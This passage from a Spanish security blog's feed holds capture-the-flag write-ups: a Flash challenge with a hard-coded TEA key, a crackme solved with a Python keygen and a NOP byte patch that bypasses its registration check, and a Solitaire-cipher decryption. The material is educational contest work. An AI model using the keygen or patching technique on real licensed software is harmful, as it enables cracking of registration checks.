&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj17JeLJzmWGbQc0BJY7-JNtGKAM6Zg0xb1lbpbM6fVF9he89ObSh5e3wlcxkXaydp1M2QCEcU0SYe6KRJw8RncUTiLqN04FJf33vZphhnlKM6jqB90jSAW8Lx3LR0yuHxuu6ZcuLEwijs/s1600/desafio11_5.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5600828167062820418&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj17JeLJzmWGbQc0BJY7-JNtGKAM6Zg0xb1lbpbM6fVF9he89ObSh5e3wlcxkXaydp1M2QCEcU0SYe6KRJw8RncUTiLqN04FJf33vZphhnlKM6jqB90jSAW8Lx3LR0yuHxuu6ZcuLEwijs/s400/desafio11_5.png&quot; style=&quot;cursor: pointer; display: block; height: 243px; margin: 0px auto 10px; text-align: center; width: 400px;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;Introduciendo la secuencia asumiendo que los botones estaban numerados de arriba a abajo y de izquierda a derecha comprobamos que efectivamente es la solución deseada.&lt;/div&gt;&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgssRBPYGXBmCxpB-7tdO_tSjoEWIfzm7llkme0c6HVfdm3GRZ1LAdson-RskqCkfTZL2CEvNBTPXA2VEGmkOGH-q4VUztmGdp0lJ4SuOKa50kegB5Iwa5LUtP7Ve2HKunJmXx92dUE0rc/s1600/desafio11_6.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5600828494118009394&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgssRBPYGXBmCxpB-7tdO_tSjoEWIfzm7llkme0c6HVfdm3GRZ1LAdson-RskqCkfTZL2CEvNBTPXA2VEGmkOGH-q4VUztmGdp0lJ4SuOKa50kegB5Iwa5LUtP7Ve2HKunJmXx92dUE0rc/s400/desafio11_6.png&quot; style=&quot;cursor: pointer; display: block; height: 302px; margin: 0px auto 10px; text-align: center; width: 214px;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;h2 style=&quot;text-align: justify;&quot;&gt;Solución más rápida&lt;/h2&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Al crear la prueba nos han dejado varias pistas, y siendo un poco receptivo hacia ellas y con un poco de cultura sobre algoritmos de cifrado que yo no tengo (no conocía el cifrado TEA), podíamos haber resuelto el reto mucho más rápido.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Nos han dejado a la vista la cadena a descifrar asignada a una variable que nos indicaba que era lo que debíamos buscar:&lt;/div&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: courier new;&quot;&gt;ActionScript 3.0\eIqyPOye1A666&lt;br /&gt;
Line 76: th4t1s = MLOSVylCb1666.hpys.utils.r3oAjJpsMZ666.k1TNULc6Sk666(&quot;80112730378015a38252f57d3201e40b&quot;);&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;También nos han dejado en claro la ruta al paquete de cifrado utilizado que ya hemos visto, y la pista definitiva, una referencia al algoritmo utilizado con la clave en claro en una variable no utilizada:&lt;/div&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: courier new;&quot;&gt;ActionScript 3.0\MLOSVylCb1666\meychi\ascrypt3\_YOeZFRVpU666.as (1 hits)&lt;br /&gt;
Line 57: var loc4:*=&quot;teatime_siluros&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;Esto unido a la cadena ‘siluros’ que ya habíamos visto, el lugar donde se usa, y un análisis muy por encima de la aplicación debería permitir solucionar el reto bastante rápido a gente más despierta que yo :-/.&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pentsec.blogspot.com/feeds/4359516448864418092/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://pentsec.blogspot.com/2011/04/writeup-desafio-11-h4ckc0nt3st-gsic.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/4359516448864418092'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/4359516448864418092'/><link rel='alternate' type='text/html' href='http://pentsec.blogspot.com/2011/04/writeup-desafio-11-h4ckc0nt3st-gsic.html' title='WriteUp - Desafío 11 - H4ckc0nt3st GSIC 2011'/><author><name>ramandi</name><uri>http://www.blogger.com/profile/06511961608508220893</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqvSv6JfHVxCf5RNf7A7ss98HRDkEGqBpNjpPGJ6ZGr2AWpPW7PPEW9v3hYV1A2OtpeK0KpWr3xe9UbsskfqpZeP1MijXuFSD7Yml2G3d4R27FO32ejVbd6X7kBy63A2QZV1DtQR6TgHc/s72-c/desafio11_1.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2801530176223592362.post-2591763827706278803</id><published>2011-04-29T00:11:00.014+02:00</published><updated>2011-04-29T18:31:50.908+02:00</updated><title type='text'>WriteUp - Desafío 9 - H4ckc0nt3st GSIC 2011</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;Este desafío nos ofrece un binario llamado &lt;a href=&quot;https://sites.google.com/site/archivospentsec/RegMe&quot;&gt;RegMe&lt;/a&gt;.&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;En primer lugar probamos el ejecutable y observamos que pide dos datos, USER y REGISTER. Introduciendo datos al azar nos dice “ERROR DE REGISTRO!!!”. Dejando los campos en blanco nos indica el significado de los campos con el mensaje “Debes introducir un nombre y una clave de registro válida”.&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Lo abrimos con el IDA Pro Free para observar el código ensamblador y analizarlo. La vista de grafo nos permite observar fácilmente el flujo del programa, y los distintos puntos de salida correspondientes a los trucos anti-debug. Para acelerar la localización del punto que nos interesa revisamos las cadenas del binario y vamos a la referencia a “Solucionado!!! la clave es: %s”. Analizamos el código alrededor de este punto…&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Observamos la introducción de los datos y dónde los guarda:&lt;/div&gt;&lt;br /&gt;
&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5600763971300567170&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioLC6mYkXigUK6sol7OfhMRysiWFLyQhYNCV4Bjt_uuWjlMu6OTOOmsWXZFaOOruhIUo5OyaNvw0p_fVldlJiRnWqlW4CssI9OJJmBZdK-fXS4WRTwuUY1RTVCr0F0-XNRzypxppXzr5Y/s400/desafio9_1.png&quot; style=&quot;display: block; height: 265px; margin: 0px auto 10px; text-align: center; width: 292px;&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;Se realiza un hash SHA1 del usuario introducido y se inicializan variables para un bucle:&lt;/div&gt;&lt;br /&gt;
&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5600763976675843714&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGK_gB-XggSY1XoweOABgDW6NXjrrPMz0mxZor7jCVlHxKFB9hyPYaCD-HPKbgOm8Fhh26Spl77fzgo1tJMDVgaFeBXL0gJ3P_nDpb0IeIZSov2VX0T3G09JN-yhRtL-Sbh-hjd-Hakug/s400/desafio9_2.png&quot; style=&quot;display: block; height: 182px; margin: 0px auto 10px; text-align: center; width: 304px;&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;En cada vuelta del bucle coge un byte del hash calculado, hace un AND con 0xEE, lo pone en hexadecimal y lo compara con 2 caracteres de la cadena de registro introducida por el usuario.&lt;/div&gt;&lt;br /&gt;
&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5600763978359304514&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwYEKoN9HeJNfVy_XZ8aOSeiSG_4C8eX7J92rRnnuEuTzbV1WNiHMW2pzUbd0NGqNkbpHwWBnYU5kxwenyvAVl6HvZsUhT9M_eJAdp42H_JnG9CR1UttWaaLkEhspVik52X_JJjvn4jzw/s400/desafio9_3.png&quot; style=&quot;display: block; height: 351px; margin: 0px auto 10px; text-align: center; width: 400px;&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;Si coinciden, va al bloque en el que muestra la clave, por lo que deducimos que el número de registro debe ser el hash SHA1 del usuario “ANDeado” byte a byte con 0xEE y puesto en hexadecimal.&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Calculamos el hash SHA1 de la cadena “yo”:&lt;/div&gt;&lt;span style=&quot;font-family: courier new;&quot;&gt;# echo -n yo &amp;gt; prue&lt;br /&gt;
# sha1sum prue&lt;br /&gt;
c41975d1dae1cc69b16ad8892b8c77164e84ca39 prue&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;Y realizamos el AND para obtener la cadena de registro con el siguiente script:&lt;br /&gt;
&lt;/div&gt;&lt;span style=&quot;font-family: courier new;&quot;&gt;import hashlib&lt;br /&gt;
import binascii&lt;br /&gt;
from itertools import cycle, izip&lt;br /&gt;
&lt;br /&gt;
def miand (ss, key):&lt;br /&gt;
key = cycle(key)&lt;br /&gt;
return &#39;&#39;.join(chr((ord(x) &amp;amp; ord(y))%256) for (x,y) in izip(ss, key))&lt;br /&gt;
&lt;br /&gt;
mihash=&#39;c41975d1dae1cc69b16ad8892b8c77164e84ca39&#39;&lt;br /&gt;
binascii.hexlify(miand(binascii.unhexlify(mihash),&#39;\xee&#39;))&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;Obtenemos la siguiente cadena:&lt;/div&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: courier new;&quot;&gt;&#39;c40864c0cae0cc68a06ac8882a8c66064e84ca28&#39;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;Introduciendo el usuario y su correspondiente registro obtenemos la clave:&lt;/div&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: courier new;&quot;&gt;# ./RegMe&lt;br /&gt;
USER: yo&lt;br /&gt;
REGISTER: c40864c0cae0cc68a06ac8882a8c66064e84ca28&lt;br /&gt;
Solucionado!!! la clave es: anamanaguchi&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h2 style=&quot;text-align: justify;&quot;&gt;Solución más rápida&lt;/h2&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;La solución más rápida pasaría por evitar la comprobación del registro llevando el flujo al bloque en el que muestra la clave. En nuestro caso, bastaría con nopear el salto condicional que se ve en el bloque básico siguiente:&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5600763983630632626&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi00DhxdtCj0d6Q_jxq-stWelRobG66c4IdaB6NMyrVN1TYBWla0B2SKgKiLlZkrblR50HOj6SyQ3b7C5CGYyWL69PDHSLp-aYbHOo-GagteKe7R2brZx37BQw7Yz-_iMKNy70fC9u5xSg/s400/desafio9_4.png&quot; style=&quot;display: block; height: 65px; margin: 0px auto 10px; text-align: center; width: 194px;&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;Para ello, con un editor hexadecimal cambiamos en el fichero binario los bytes 0F 8E 4C FF FF FF por 90 90 90 90 90 90.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Ejecutándolo con cualquier dato conseguimos la solución:&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: courier new;&quot;&gt;# ./RegMe&lt;br /&gt;
USER: aaa&lt;br /&gt;
REGISTER: aaa&lt;br /&gt;
Solucionado!!! la clave es: anamanaguchi&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://pentsec.blogspot.com/feeds/2591763827706278803/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://pentsec.blogspot.com/2011/04/solucion-al-desafio-9-h4ckc0nt3st-jjss.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/2591763827706278803'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/2591763827706278803'/><link rel='alternate' type='text/html' href='http://pentsec.blogspot.com/2011/04/solucion-al-desafio-9-h4ckc0nt3st-jjss.html' title='WriteUp - Desafío 9 - H4ckc0nt3st GSIC 2011'/><author><name>ramandi</name><uri>http://www.blogger.com/profile/06511961608508220893</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioLC6mYkXigUK6sol7OfhMRysiWFLyQhYNCV4Bjt_uuWjlMu6OTOOmsWXZFaOOruhIUo5OyaNvw0p_fVldlJiRnWqlW4CssI9OJJmBZdK-fXS4WRTwuUY1RTVCr0F0-XNRzypxppXzr5Y/s72-c/desafio9_1.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2801530176223592362.post-6301000322569581966</id><published>2011-04-26T03:18:00.012+02:00</published><updated>2013-01-27T17:02:15.470+01:00</updated><title type='text'>WriteUp - We play cards - Plaid CTF 2011</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrsQHvR0-OvvyjBge9pIfVwWaRnZ-6oAJIwK-baVbwGEC2BA_mYs4PQNuaVadNmyRlVX_JdqRMiAh8jCpP2tjMVMj-QrMJatUCfxA5T3ukt7IBVdszKJrrl2mKMJ4IxHvrGlv63Se1trOz/s1600/Descripcion.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5599995511390792354&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrsQHvR0-OvvyjBge9pIfVwWaRnZ-6oAJIwK-baVbwGEC2BA_mYs4PQNuaVadNmyRlVX_JdqRMiAh8jCpP2tjMVMj-QrMJatUCfxA5T3ukt7IBVdszKJrrl2mKMJ4IxHvrGlv63Se1trOz/s320/Descripcion.png&quot; style=&quot;cursor: pointer; display: block; height: 154px; margin: 0px auto 10px; text-align: center; width: 320px;&quot; /&gt;&lt;/a&gt;&lt;span style=&quot;color: black;&quot;&gt;Nos encontramos ante una prueba criptográfica. Nos dan un &lt;a href=&quot;http://repo.shell-storm.org/CTF/PlaidCTF-2011/34-We_play_cards/d33834a88230fbf76cbbd4fe6adfb8bcaf497e7c.mp4&quot;&gt;vídeo&lt;/a&gt;&lt;span style=&quot;color: black;&quot;&gt; y el siguiente texto a descifrar:&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: #33cc00;&quot;&gt;VFXFMFHJGHQXLIABIFNOHQEMYZKNXVCEBIDSJTFNRCLVSVUFNLWR&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;color: black;&quot;&gt;
Vemos el vídeo y aparece un chico jugando al &quot;&lt;a href=&quot;http://es.wikipedia.org/wiki/Solitario_%28juego_de_naipes%29&quot;&gt;Pirámide Solitario&lt;/a&gt;&quot;. Hacemos una búsqueda por Google de algún sistema criptográfico con algo de unión al juego, pronto nos aparecen referencias a &lt;a href=&quot;http://es.wikipedia.org/wiki/Bruce_Schneier&quot;&gt;Bruce Schneier&lt;/a&gt; y su algoritmo de cifrado &quot;&lt;a href=&quot;http://www.schneier.com/solitaire.html&quot;&gt;Solitaire&lt;/a&gt;&quot;.&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
Nos leemos una &lt;a href=&quot;http://www.jcea.es/artic/solitaire.htm&quot;&gt;traducción de Jesús Cea&lt;/a&gt; del original de Bruce Schneier y después de comprender todo el sistema nos damos cuenta de que este tipo de cifrado se puede romper recomponiendo el mazo completo de cartas.&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
Visualizamos el vídeo apuntando el orden de salida de todas las cartas:&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaDvvDqE7La4T2EV68K83PxUfcx_d_kinRBD39MsfhO2zevJaJWDmPW9s0ZuFYr7HKsO0Mq4bMakED-_oiOF1ppWLnSajyZ_ua_OA01wk2qUgkVvjUSen1oQCzncJcmFcBkja4JPruQ27v/s1600/ordenmazo.png&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5599704229371645266&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaDvvDqE7La4T2EV68K83PxUfcx_d_kinRBD39MsfhO2zevJaJWDmPW9s0ZuFYr7HKsO0Mq4bMakED-_oiOF1ppWLnSajyZ_ua_OA01wk2qUgkVvjUSen1oQCzncJcmFcBkja4JPruQ27v/s320/ordenmazo.png&quot; style=&quot;cursor: pointer; display: block; height: 320px; margin: 0px auto 10px; text-align: center; width: 255px;&quot; /&gt;&lt;/a&gt;Una vez obtenemos un archivo .txt con el orden del mazo con el que cifraron el texto buscamos un software que nos facilite el descifrado del mismo. En la propia página de Bruce Schneier nos facilitan varios, nosotros empleamos &quot;&lt;a href=&quot;http://www.u.arizona.edu/%7Essmith4/programs/Solitaire.exe&quot;&gt;Solitaire&lt;/a&gt;&quot; (C++ GUI).&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
Arrancamos Solitaire y cargamos el archivo .txt con todo el mazo y el texto a descifrar, pulsamos &quot;Decrypt&quot; y obtenemos la clave para superar el reto.&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbkcU8FOzNV3KmQvfoROP6RtpSB8eMSwOE-j3VaSyjLcqYBAKuVOEUp3ft4mQajEMX8qHx_cFCbD06KhmYW6m9lI23uK8lPPVrBFWeKbNjNA9k3Qrvp3uf69s5d8kHUWTLGGqU1iu-Tnbz/s1600/Solitaire.png&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5599707371733951138&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbkcU8FOzNV3KmQvfoROP6RtpSB8eMSwOE-j3VaSyjLcqYBAKuVOEUp3ft4mQajEMX8qHx_cFCbD06KhmYW6m9lI23uK8lPPVrBFWeKbNjNA9k3Qrvp3uf69s5d8kHUWTLGGqU1iu-Tnbz/s400/Solitaire.png&quot; style=&quot;cursor: pointer; display: block; height: 286px; margin: 0px auto 10px; text-align: center; width: 400px;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: #33cc00;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;Clave: &lt;span style=&quot;color: #33cc00;&quot;&gt;WHYDODINOSAURSSORTCARDSANDLOSEATSORTINGWHEREISTHEFUN&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
¡Felicitaciones a la organización y a todos los participantes!&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://pentsec.blogspot.com/feeds/6301000322569581966/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://pentsec.blogspot.com/2011/04/writeup-we-play-cards-plaid-ctf-2011.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/6301000322569581966'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/6301000322569581966'/><link rel='alternate' type='text/html' href='http://pentsec.blogspot.com/2011/04/writeup-we-play-cards-plaid-ctf-2011.html' title='WriteUp - We play cards - Plaid CTF 2011'/><author><name>B4RRe1R0</name><uri>http://www.blogger.com/profile/16303833812986131301</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='29' height='32' src='http://2.bp.blogspot.com/-XH9xWNKExsQ/T5ZnRpRzcWI/AAAAAAAAIYU/z4t5EDVFwgU/s220/B4RRe1R0.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrsQHvR0-OvvyjBge9pIfVwWaRnZ-6oAJIwK-baVbwGEC2BA_mYs4PQNuaVadNmyRlVX_JdqRMiAh8jCpP2tjMVMj-QrMJatUCfxA5T3ukt7IBVdszKJrrl2mKMJ4IxHvrGlv63Se1trOz/s72-c/Descripcion.png" height="72" width="72"/><thr:total>0</thr:total></entry></feed>